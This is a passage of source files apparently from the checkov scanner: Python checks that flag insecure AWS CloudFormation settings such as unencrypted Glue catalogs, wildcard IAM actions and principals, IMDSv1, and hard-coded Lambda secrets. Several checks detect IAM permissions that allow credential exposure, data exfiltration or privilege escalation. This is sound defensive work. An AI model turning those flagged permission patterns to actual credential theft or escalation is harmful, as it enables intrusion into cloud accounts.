    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GlueDataCatalogEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Glue Data Catalog Encryption is enabled\"\n        id = \"CKV_AWS_94\"\n        supported_resources = ['AWS::Glue::DataCatalogEncryptionSettings']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        connection_encrypted = False\n        encrypted_at_rest = False\n        if 'Properties' in conf.keys():\n            self.evaluated_keys = ['Properties']\n            if 'DataCatalogEncryptionSettings' in conf['Properties'].keys():\n                self.evaluated_keys = ['Properties/DataCatalogEncryptionSettings']\n                dc_enc_settings = conf['Properties']['DataCatalogEncryptionSettings']\n                if 'ConnectionPasswordEncryption' in dc_enc_settings.keys():\n                    con_pass_enc = dc_enc_settings['ConnectionPasswordEncryption']\n                    if 'ReturnConnectionPasswordEncrypted' in con_pass_enc.keys():\n                        if con_pass_enc['ReturnConnectionPasswordEncrypted'] is True:\n                            connection_encrypted = True\n\n                if 'EncryptionAtRest' in dc_enc_settings.keys():\n                    enc_at_rest = dc_enc_settings['EncryptionAtRest']\n                    if 'CatalogEncryptionMode' in enc_at_rest.keys():\n                        if enc_at_rest['CatalogEncryptionMode'] == \"SSE-KMS\":\n                            encrypted_at_rest = True\n\n        if connection_encrypted and encrypted_at_rest:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = GlueDataCatalogEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass GlueSecurityConfiguration(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Glue Security Configuration Encryption is enabled\"\n        id = \"CKV_AWS_99\"\n        supported_resources = ('AWS::Glue::SecurityConfiguration',)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        s3_enc = False\n        cw_enc = False\n        book_enc = False\n        if 'Properties' in conf.keys():\n            self.evaluated_keys = ['Properties']\n            if 'EncryptionConfiguration' in conf['Properties'].keys():\n                self.evaluated_keys = ['Properties/EncryptionConfiguration']\n                enc_conf = conf['Properties']['EncryptionConfiguration']\n\n                if 'CloudWatchEncryption' in enc_conf.keys():\n                    if 'CloudWatchEncryptionMode' in enc_conf['CloudWatchEncryption'].keys():\n                        if enc_conf['CloudWatchEncryption']['CloudWatchEncryptionMode'] != 'DISABLED':\n                            cw_enc = True\n\n                if 'JobBookmarksEncryption' in enc_conf.keys():\n                    if 'JobBookmarksEncryptionMode' in enc_conf['JobBookmarksEncryption'].keys():\n                        if enc_conf['JobBookmarksEncryption']['JobBookmarksEncryptionMode'] != 'DISABLED':\n                            book_enc = True\n\n                if 'S3Encryptions' in enc_conf.keys():\n                    for s3_encryption in force_list(enc_conf['S3Encryptions']):\n                        if 'S3EncryptionMode' in s3_encryption.keys():\n                            if s3_encryption['S3EncryptionMode'] != 'DISABLED':\n                                s3_enc = True\n                                break\n\n        if s3_enc and cw_enc and book_enc:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = GlueSecurityConfiguration()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GlueSecurityConfigurationEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Glue component has a security configuration associated\"\n        id = \"CKV_AWS_195\"\n        supported_resources = (\"AWS::Glue::Crawler\", \"AWS::Glue::DevEndpoint\", \"AWS::Glue::Job\")\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"AWS::Glue::Crawler\":\n            return \"Properties/CrawlerSecurityConfiguration\"\n        elif self.entity_type in (\"AWS::Glue::DevEndpoint\", \"AWS::Glue::Job\"):\n            return \"Properties/SecurityConfiguration\"\n\n        return \"\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = GlueSecurityConfigurationEnabled()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass IAMAdminPolicyDocument(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure no IAM policies that allow full \\\"*-*\\\" administrative privileges are not created\"\n        id = \"CKV_AWS_62\"\n        supported_resources = ['AWS::IAM::Policy', 'AWS::IAM::Group', 'AWS::IAM::Role', 'AWS::IAM::User']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        my_properties = conf.get(\"Properties\")\n        type = conf['Type']\n\n        # catch for inline policies\n        if isinstance(my_properties, dict) and type != 'AWS::IAM::Policy':\n            self.evaluated_keys = ['Properties']\n            if 'Policies' in my_properties.keys():\n                self.evaluated_keys = ['Properties/Policies']\n                policies = my_properties['Policies']\n                if len(policies) > 0:\n                    for idx, policy in enumerate(policies):\n                        if not isinstance(policy, dict):\n                            return CheckResult.UNKNOWN\n                        if policy.get('PolicyDocument'):\n                            self.evaluated_keys = [f'Properties/Policies/[{idx}]/PolicyDocument']\n                            result = check_policy(policy['PolicyDocument'])\n                            if result == CheckResult.FAILED:\n                                return result\n                    return CheckResult.PASSED\n                # not empty and had non failing policies\n                return CheckResult.UNKNOWN\n        # this is just for Policy resources\n        if isinstance(my_properties, dict) and 'PolicyDocument' in my_properties.keys():\n            self.evaluated_keys = ['Properties/PolicyDocument']\n            return check_policy(my_properties['PolicyDocument'])\n        return CheckResult.UNKNOWN\n\n\ncheck = IAMAdminPolicyDocument()\n\n\ndef check_policy(policy_block):\n    if policy_block and isinstance(policy_block, dict) and 'Statement' in policy_block.keys():\n        for statement in force_list(policy_block['Statement']):\n            if 'Action' in statement:\n                effect = statement.get('Effect', 'Allow')\n                action = force_list(statement.get('Action', ['']))\n                resource = force_list(statement.get('Resource', ['']))\n                if effect == 'Allow' and '*' in action and '*' in resource:\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n    else:\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass cloudsplainingCredentialsExposure(BaseCloudsplainingIAMCheck):\n    excluded_actions = {  # noqa: CCE003  # a static attribute\n        \"ecr:GetAuthorizationToken\"\n    }\n\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow credentials exposure\"\n        id = \"CKV_AWS_107\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str]:\n        credentials_exposure_actions = policy.credentials_exposure\n        return [\n            x for x in credentials_exposure_actions\n            if x not in cloudsplainingCredentialsExposure.excluded_actions\n        ]\n\n\ncheck = cloudsplainingCredentialsExposure()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py",
    "content": "from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck\n\n\nclass cloudsplainingDataExfiltration(BaseCloudsplainingIAMCheck):\n\n    def __init__(self):\n        name = \"Ensure IAM policies does not allow data exfiltration\"\n        id = \"CKV_AWS_108\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy):\n        return policy.allows_data_exfiltration_actions\n\n\ncheck = cloudsplainingDataExfiltration()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py",
    "content": "from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck\n\n\nclass cloudsplainingPermissionsManagement(BaseCloudsplainingIAMCheck):\n\n    def __init__(self):\n        name = \"Ensure IAM policies does not allow permissions management without constraints\"\n        id = \"CKV_AWS_109\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy):\n        return policy.permissions_management_without_constraints\n\n\ncheck = cloudsplainingPermissionsManagement()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py",
    "content": "from typing import List, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass IAMPolicyAttachedToGroupOrRoles(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may \" \\\n               \"in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.)\"\n        id = \"CKV_AWS_40\"\n        supported_resources = ['AWS::IAM::Policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    \"\"\"\n    Looks for users attached to an IAM policy\n    https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-policy.html\n    \"\"\"\n    def get_inspected_key(self) -> str:\n        return \"Properties/Users\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [ANY_VALUE]\n\n\ncheck = IAMPolicyAttachedToGroupOrRoles()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py",
    "content": "from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck\n\n\nclass cloudsplainingPrivilegeEscalation(BaseCloudsplainingIAMCheck):\n\n    def __init__(self):\n        name = \"Ensure IAM policies does not allow privilege escalation\"\n        id = \"CKV_AWS_110\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy):\n        escalations = policy.allows_privilege_escalation\n        flattened_escalations: list[str] = []\n        if escalations:\n            for escalation in escalations:\n                if isinstance(escalation, dict):\n                    flattened_escalations.extend(escalation.get('actions'))\n                else:\n                    flattened_escalations.append(escalation)\n        return flattened_escalations\n\n\ncheck = cloudsplainingPrivilegeEscalation()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py",
    "content": "from __future__ import annotations\n\nimport json\nimport re\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\nACCOUNT_ACCESS = re.compile(r'\\d{12}|arn:aws:iam::\\d{12}:root')\n\n\nclass IAMRoleAllowAssumeFromAccount(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS IAM policy does not allow assume role permission across all services\"\n        id = \"CKV_AWS_61\"\n        supported_resources = ('AWS::IAM::Role',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = ['Properties']\n        properties = conf.get('Properties')\n        if properties and 'AssumeRolePolicyDocument' in properties:\n            assume_role_policy_doc = properties['AssumeRolePolicyDocument']\n            if isinstance(assume_role_policy_doc, dict) and 'Fn::Sub' in assume_role_policy_doc.keys():\n                policy_fn_sub_block = assume_role_policy_doc['Fn::Sub']\n                if isinstance(policy_fn_sub_block, list) and len(policy_fn_sub_block) == 2:\n                    assume_role_block = json.loads(policy_fn_sub_block[0])\n                else:\n                    assume_role_block = json.loads(policy_fn_sub_block)\n            elif isinstance(assume_role_policy_doc, str):\n                try:\n                    assume_role_block = json.loads(assume_role_policy_doc)\n                except Exception:\n                    return CheckResult.UNKNOWN\n            else:\n                assume_role_block = assume_role_policy_doc\n        else:\n            return CheckResult.UNKNOWN\n\n        if 'Statement' in assume_role_block.keys():\n            if isinstance(assume_role_block['Statement'], list) and 'Principal' in \\\n                    assume_role_block['Statement'][0]:\n                if 'AWS' in assume_role_block['Statement'][0]['Principal']:\n                    if isinstance(assume_role_block['Statement'][0]['Principal']['AWS'], list) \\\n                            and isinstance(assume_role_block['Statement'][0]['Principal']['AWS'][0], str):\n                        if re.match(ACCOUNT_ACCESS, assume_role_block['Statement'][0]['Principal']['AWS'][0]):\n                            self.evaluated_keys = ['Properties/AssumeRolePolicyDocument/Statement']\n                            return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n\ncheck = IAMRoleAllowAssumeFromAccount()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py",
    "content": "import json\nfrom typing import Dict, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass IAMRoleAllowsPublicAssume(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM role allows only specific services or principals to assume it\"\n        id = \"CKV_AWS_60\"\n        supported_resources = (\"AWS::IAM::Role\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"Properties/AssumeRolePolicyDocument/Statement\"]\n        properties = conf.get(\"Properties\")\n        if isinstance(properties, dict):\n            assume_role_policy_doc = properties.get(\"AssumeRolePolicyDocument\")\n            if isinstance(assume_role_policy_doc, str):\n                try:\n                    assume_role_policy_doc = json.loads(assume_role_policy_doc)\n                except Exception:\n                    return CheckResult.UNKNOWN\n            if isinstance(assume_role_policy_doc, dict) and assume_role_policy_doc.get(\"Statement\"):\n                statements = assume_role_policy_doc[\"Statement\"]\n                if isinstance(statements, list):\n                    for statement_index, statement in enumerate(statements):\n                        if not isinstance(statement, dict):\n                            continue\n                        if statement.get(\"Effect\") == \"Deny\":\n                            continue\n                        principal = statement.get(\"Principal\")\n                        if isinstance(principal, dict):\n                            aws_principals = principal.get(\"AWS\")\n                            if aws_principals == \"*\":\n                                self.evaluated_keys = [\n                                    f\"Properties/AssumeRolePolicyDocument/Statement/[{statement_index}]/Principal/AWS\"\n                                ]\n                                return CheckResult.FAILED\n                            if isinstance(aws_principals, list):\n                                for principal_index, principal in enumerate(aws_principals):\n                                    if principal == \"*\":\n                                        self.evaluated_keys = [\n                                            f\"Properties/AssumeRolePolicyDocument/Statement/[{statement_index}]/Principal/[{principal_index}]/AWS\"\n                                        ]\n                                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = IAMRoleAllowsPublicAssume()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nimport ast\n\n\nclass IAMStarActionPolicyDocument(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure no IAM policies documents allow \\\"*\\\" as a statement's actions\"\n        id = \"CKV_AWS_63\"\n        supported_resources = ['AWS::IAM::Policy', 'AWS::IAM::Group', 'AWS::IAM::Role', 'AWS::IAM::User']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        myproperties = conf.get(\"Properties\")\n        type = conf['Type']\n        self.evaluated_keys = ['Properties']\n\n        # catch for inline policies\n        if type != 'AWS::IAM::Policy':\n            if isinstance(myproperties, dict) and 'Policies' in myproperties.keys():\n                policies = myproperties['Policies']\n                if len(policies) > 0:\n                    for idx, policy in enumerate(policies):\n                        self.evaluated_keys = [\"Properties/Policies\"]\n                        if not isinstance(policy, dict):\n                            return CheckResult.UNKNOWN\n                        if policy.get('PolicyDocument'):\n                            self.evaluated_keys = [f\"Properties/Policies/{idx}/PolicyDocument\"]\n                            result = check_policy(policy['PolicyDocument'])\n                            if result == CheckResult.FAILED:\n                                return result\n                    return CheckResult.PASSED\n                # not empty and had non failing policies\n                return CheckResult.UNKNOWN\n        # this is just for Policy resources\n        if isinstance(myproperties, dict) and 'PolicyDocument' in myproperties.keys():\n            self.evaluated_keys = [\"Properties/PolicyDocument\"]\n            return check_policy(myproperties['PolicyDocument'])\n        return CheckResult.UNKNOWN\n\n\ncheck = IAMStarActionPolicyDocument()\n\n\ndef check_policy(policy_block):\n    if policy_block:\n        if isinstance(policy_block, str):\n            policy_block = ast.literal_eval(policy_block)\n        if isinstance(policy_block, dict) and 'Statement' in policy_block.keys():\n            for statement in force_list(policy_block['Statement']):\n                if 'Action' in statement and statement.get('Effect', ['Allow']) == 'Allow' and '*' in force_list(\n                        statement['Action']):\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n        else:\n            return CheckResult.PASSED\n    else:\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py",
    "content": "from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck\n\n\nclass cloudsplainingWriteAccess(BaseCloudsplainingIAMCheck):\n\n    def __init__(self):\n        name = \"Ensure IAM policies does not allow write access without constraints\"\n        id = \"CKV_AWS_111\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy):\n        return policy.write_actions_without_constraints\n\n\ncheck = cloudsplainingWriteAccess()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass IMDSv1Disabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Instance Metadata Service Version 1 is not enabled\"\n        id = \"CKV_AWS_79\"\n        supported_resources = (\"AWS::EC2::LaunchTemplate\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        # IMDS can be disabled or IMDSv2 can be enabled\n        http_endpoint = find_in_dict(\n            input_dict=conf,\n            key_path=\"Properties/LaunchTemplateData/MetadataOptions/HttpEndpoint\",\n        )\n        if http_endpoint == \"disabled\":\n            return CheckResult.PASSED\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/LaunchTemplateData/MetadataOptions/HttpTokens\"\n\n    def get_expected_value(self) -> Any:\n        return \"required\"\n\n\ncheck = IMDSv1Disabled()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KMSKeyWildCardPrincipal(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure KMS key policy does not contain wildcard (*) principal\"\n        id = \"CKV_AWS_33\"\n        supported_resources = (\"AWS::KMS::Key\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/KeyPolicy/Statement/Principal\"\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"Properties\")\n        if properties and isinstance(properties, dict):\n            policy_block = properties.get(\"KeyPolicy\")\n            if policy_block and isinstance(policy_block, dict):\n                statements = policy_block.get(\"Statement\")\n                if statements and isinstance(statements, list):\n                    for statement in statements:\n                        principal = statement.get(\"Principal\")\n                        if not principal:\n                            continue\n                        if statement.get(\"Effect\") == \"Deny\":\n                            continue\n\n                        if isinstance(principal, dict) and \"AWS\" in principal:\n                            # the actual principals can be under the `AWS`\n                            principal = principal[\"AWS\"]\n\n                        if isinstance(principal, str) and principal == \"*\":\n                            return CheckResult.FAILED\n                        if isinstance(principal, list) and \"*\" in principal:\n                            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KMSKeyWildCardPrincipal()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/KMSRotation.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KMSRotation(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure rotation for customer created CMKs is enabled\"\n        id = \"CKV_AWS_7\"\n        supported_resources = (\"AWS::KMS::Key\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/EnableKeyRotation\"\n\n    def scan_resource_conf(self, conf):\n        # Only symmetric keys support auto rotation. The attribute is optional and defaults to symmetric.\n        properties = conf.get(\"Properties\")\n        if properties and isinstance(properties, dict):\n            spec = properties.get(\"KeySpec\")\n            if spec and isinstance(spec, str):\n                if 'SYMMETRIC_DEFAULT' not in spec and 'HMAC' not in spec:\n                    return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n\ncheck = KMSRotation()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KinesisStreamEncryptionType(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Kinesis Stream is securely encrypted\"\n        id = \"CKV_AWS_43\"\n        supported_resources = ['AWS::Kinesis::Stream']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/StreamEncryption/EncryptionType'\n\n    def get_expected_value(self):\n        return 'KMS'\n\n\ncheck = KinesisStreamEncryptionType()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py",
    "content": "from typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaDLQConfigured(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)\"\n        id = \"CKV_AWS_116\"\n        supported_resources = (\"AWS::Lambda::Function\", \"AWS::Serverless::Function\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"AWS::Lambda::Function\":\n            return \"Properties/DeadLetterConfig/TargetArn\"\n        elif self.entity_type == \"AWS::Serverless::Function\":\n            return \"Properties/DeadLetterQueue/TargetArn\"\n\n        return \"\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = LambdaDLQConfigured()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.secrets import AWS, GENERAL, get_secrets_from_string\n\n\nclass LambdaEnvironmentCredentials(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard-coded secrets exist in Lambda environment\"\n        id = \"CKV_AWS_45\"\n        supported_resources = (\"AWS::Lambda::Function\", \"AWS::Serverless::Function\")\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"Properties/Environment/Variables\"]\n        properties = conf.get(\"Properties\")\n        if isinstance(properties, dict):\n            environment = properties.get(\"Environment\")\n            if environment and isinstance(environment, dict):\n                variables = environment.get(\"Variables\")\n                if variables and isinstance(variables, dict):\n                    for var_name, value in variables.items():\n                        if isinstance(value, dict):\n                            # if it is a resolved intrinsic function like !Ref: xyz, then it can't be a secret\n                            continue\n\n                        # Skip checking if the value starts with 'handler.'\n                        if isinstance(value, str) and (value.startswith('handler.') or value.startswith('git.')):\n                            continue\n\n                        secrets = get_secrets_from_string(str(value), AWS, GENERAL)\n                        if secrets:\n                            self.evaluated_keys = [f\"Properties/Environment/Variables/{var_name}\"]\n                            for idx, secret in enumerate(secrets):\n                                conf[f'{self.id}_secret_{idx}'] = secret\n                            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = LambdaEnvironmentCredentials()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LambdaEnvironmentEncryptionSettings(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Check encryption settings for Lambda environment variable\"\n        id = \"CKV_AWS_173\"\n        supported_resources = (\"AWS::Lambda::Function\", \"AWS::Serverless::Function\")\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"Properties\")\n        if properties is not None:\n            env = properties.get(\"Environment\")\n            if env is not None:\n                if not isinstance(env, dict):\n                    return CheckResult.UNKNOWN\n                elif env.get(\"Variables\") and not properties.get(\"KmsKeyArn\"):\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"Properties/KmsKeyArn\"]\n\n\ncheck = LambdaEnvironmentEncryptionSettings()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py",
    "content": "from typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaFunctionLevelConcurrentExecutionLimit(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that AWS Lambda function is configured for function-level concurrent execution limit\"\n        id = \"CKV_AWS_115\"\n        supported_resources = (\"AWS::Lambda::Function\", \"AWS::Serverless::Function\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/ReservedConcurrentExecutions\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = LambdaFunctionLevelConcurrentExecutionLimit()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaFunctionURLAuth(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that Lambda function URLs AuthType is not None\"\n        id = \"CKV_AWS_258\"\n        supported_resources = ['AWS::Lambda::Url']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"Properties/AuthType\"\n\n    def get_forbidden_values(self):\n        return [\"NONE\"]\n\n\ncheck = LambdaFunctionURLAuth()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LambdaInVPC.py",
    "content": "from typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaInVPC(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that AWS Lambda function is configured inside a VPC\"\n        id = \"CKV_AWS_117\"\n        supported_resources = (\"AWS::Lambda::Function\", \"AWS::Serverless::Function\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/VpcConfig\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = LambdaInVPC()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py",
